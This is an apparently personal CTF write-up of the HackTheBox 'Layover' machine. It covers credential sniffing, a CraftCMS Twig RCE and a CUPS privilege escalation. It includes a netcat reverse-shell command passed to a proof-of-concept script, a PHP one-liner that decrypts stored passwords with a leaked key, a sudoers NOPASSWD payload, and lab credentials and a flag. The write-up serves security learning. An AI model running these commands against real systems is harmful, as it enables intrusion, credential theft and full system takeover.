~/ Home Projects Tools Link
Writeups
hackthebox/
  • 2million
  • Facts
  • Checkpoint
  • Enigma
  • Nimbus
  • Reactor
  • Layover
  • Stream
  • tryhackme/
  • Wonderland
  • Highschool
  • Ignite
  • JokerCTF
  • Lazy Admin
  • Lightroom
  • Lookup
  • Love Connect
  • Love note
  • Pyrat
  • Startup
  • Tryheartme
  • Valenfind
  • Valley
  • When hearts collide
  • yeswehack/
  • Streamcore
  • HTB - Layover - Season 12


    Reconnaissance:

    As is common in real life pentests, you will start the Layover box with credentials for the following account contractor / Contractor2026!

    nmap -sV -v -sC $TARGET

    PORT     STATE SERVICE       VERSION
    22/tcp   open  ssh           OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
    |_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
    3389/tcp open  ms-wbt-server Microsoft Terminal Service

    We use RDP to connect to the machine using the provided credentials in the description. Our initial steps are going to be enumerating locally running sockets, specifically tcp, we would like to know if any services are only accessible from within the network. We are also most likely going to want to connect directly with ssh and maybe also forward traffics between our attacker machine and the service running inside the jumpbox network. We can achieve that by creating a ssh key pair.

    Launching a browser brings us to a Airport wifi portal and there’s an interesting note on the page addressed to staff:

    HTB Airways staff notice: the HTB Airways Miles employee portal is reachable on this passenger network at http://portal.international.htb/miles/. Please sign in periodically to verify your Miles balance and lounge bookings.

    Its a bit innocuous but its using http and well http is plaintext communications. Connect to the ‘airport’ wifi and check the portal for personnel. When we login into any account we make a post request to the server with our credentials in plaintext, so we’re going to be looking for this kind of traffic in wireshark. I started with wlan2 but it turned out that the traffic we were looking for is on wlan3. Jenny credentials in plaintext

    application/x-www-form-urlencoded
    username=jenny
    &password=Fl1ght Deck2026!

    Foothold:

    We can log into the users profile and see their miles but that’s not what we’re looking for. Tried /version to see if I could identify the framework, we don’t get version number but we now know its CraftCMS. We can access the admin panel with at portal.internatinonal.htb/admin, we use jenny’s credentials.

    CraftCMS 5.9.8

    Now that we know what version is running we start looking for a PoC. It’s very likely that we can’t reach our attacker machine from the server running the exploit, so we’re actually going to send the request to the RDP session and we are going to confirm that the PoC does work by capturing the request with Wireshark.

    CVE-2026-25498:

    Overview:

    This vulnerability requires a privilege Craft user account with control of a Twig template, allowing the user to build an arbitrary php object, which can be runned for RCE.

    Github advisory explicitly states that create() exposes Craft::createObject() and that permits arbitrary php classes with constructor arguments.

    Twig assembleLayoutFromPost() -> Craft::createObject() -> Yii object config -> Behavior injection (“as …”) -> AttributeTypecastBehavior -> Arbitrary PHP class -> OS Commands

    Just to be precise the object creation here is not the vulnerability, that is a legitimate use of CraftCMS. The vulnerability arises because Twig template uses attacker-provided configurations for how to construct the object and The problem is that attacker-controlled configuration is allowed to influence what object is constructed and, critically, what Yii behavior is attached to that objet. In this case we could use ‘Psy\Readline\Hoa\ConsoleProcessus’ as our class since it allows for OS command injection. For this CVE we could say that the object doesn’t matter itself, it’s more the ability to choose how to apply the object thanks to it’s class that’s the cause.

    CVE-2026-28695 this PoC works, even if its improperly named(This is CVE-2026-25498 not CVE-2026-28695 but they are similar). We confirm it using wireshark on the rdp session. Wireshark capture Nice, now we know we can send a payload that sends a request to our RDP session box. Now we want to send something more substantial as a payload. > python3 boc.py -t “http://portal.international.htb/” -u “jenny” -p “Fl1ghtDeck2026!” -c “busybox nc 10.13.37.182 6969 -e /bin/sh”

    Catch that with your listener of choice and you should be getting a reverse shell. We can now search around and doing so we find a .env file one folder up. Reading the file gives us some SQL credentials: SQL Credentials

    Let’s keep the relevant fields here for copy/paste:

    CRAFT_SECURITY_KEY=IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr
    CRAFT_DB_PASSWORD=CraftDB_pw_2026
    CRAFT_DB_USER=craftuser
    CRAFT_DB_DATABASE=craft
    CRAFT_APP_ID=CraftCMS--41606de1-cf7a-4fc5-8b1e-6f746d801adf

    Privilege escalation:

    After reading some of the Module.php file in htbairways we find out that we use the security key and base64 to encode the plaintext password of users stored. We’re going to reverse that operation and should be able to decode the store passwords.

    Now we have everything we need. The process is written as a function in craftcms/yii so we’re going to use it to decode. What we need is the string to decode which is stored in the database “u0E7OgbBeWhhPn1HajsFMDg0ZDJhNzUwZTUyNGMxYjBlZDk0MGFkZWE5MmEyMzc0ZjhmMmM4OGNiNTRiNDAzZTA2YWFjM2U5OWU2YWIzMGUPrGNmIwqUOPL3Y0gahxRF5wvwsBHdA3Pf4+d1XnQ4I3W/cqDF7Pr/58qVfPoNl5w=”, we have our security key “IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr”. >Base64 → salt + nonce + ciphertext + tag

    I struggled writing the right command but here’s ChatGPT’s payload and it returns our aporter password:

    php -r 'require "vendor/autoload.php"; $security = new \yii\base\Security(); $result = $security->decryptByKey(base64_decode("u0E7OgbBeWhhPn1HajsFMDg0ZDJhNzUwZTUyNGMxYjBlZDk0MGFkZWE5MmEyMzc0ZjhmMmM4OGNiNTRiNDAzZTA2YWFjM2U5OWU2YWIzMGUPrGNmIwqUOPL3Y0gahxRF5wvwsBHdA3Pf4+d1XnQ4I3W/cqDF7Pr/58qVfPoNl5w="), "IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr"); var_dump($result);'

    Now we have credentials to ssh into: >aporter >Skyp0rt_Relay!26 >10.13.37.10 > user.txt : d2d474879f3c8037ba0f92afc672cdf3

    We want to escalate our privilege but we don’t have access to sudo, so we can’t check permissions with sudo -l. We then check for what is running on the network and then what processes are running. There isn’t a whole lot running but CUPS looked promissing. ps aux output We run cups-config –version: > 2.4.16

    After some googling around, we find CVE-2026-34990 and we find a freely available PoC on preddy CVE-2026-34990 PoC.

    CVE-2026-34990

    Overview:

    CVE-2026-34990 leverages a confusion in how the cups daemon consider a request to localhost. This allows a unprivileged attacker to ask the cups daemon for a local authentication token. Next, the credentials are reused to elevate privilege, CUPS-Create-Local-Printer then accepts a device-uri and we can point it to a file:/// URI before the normal FileDevice restriction is applied. The attacker can race CUPS’s temporary-printer validation and make that printer persistent. When a job is sent to the malicious printer it points to a file and uses the privileged daemons permission to make a arbitrary file overwrite.

    Analysis the vulnerability we find 3 distinct sections: 1. ‘Localhost’ vs AF_LOCAL 2. Race condition 3. Arbitrary file write

    Localhost vs AF_LOCAL:

    Probably the biggest issue is that the cups daemon accepts ‘localhost’ connections as if they were secure connections. Using localhost uses the whole tcp/ip stack, this does’nt keep track of permissions and privileges, this is obviously intended since it uses networking. AF_LOCAL on the other hand is a Unix-domain socket, it allows for the OS to associate the connection with the local peer’s credentials. Keep this in mind for the arbitrary write section. This obviously is a condensed explanation but it helps understanding how this CVE functions.

    Race condition:

    In-depth for the Race condition

    I’ll try explaining the race condition but I highly suggest taking some time and read the github advisories. Roughly speaking, we store the URI provided by the attacker, we create a temporary printer and we make the printer ‘temporary’ == x00(False). The daemon checks if the printer attribute temporary if it is a temporary printer it cleans up the temporary printer, however we have modified the attribute to make the printer persistent.

    Arbitrary file overwrite:

    The payload to write to /etc/sudoers.d/USER > USER ALL=(ALL) NOPASSWD: ALL

    Now we use our pointer we created with temporary printer and rewrite the content of /etc/sudoers.d/USER and we give a USER all rights over the machine. Obviously, this is a vulnerable function but changing the rights and permission would somewhat fix the gap in security. However, the vendor’s remediation attacked both the ability to write plaintext and the vulnerable authentication, which is a more robust and complete solution.

    The vendor mentionned: “Don’t allow local certificates over the loopback interface, drop support for writing to plain files.” as their remediation steps.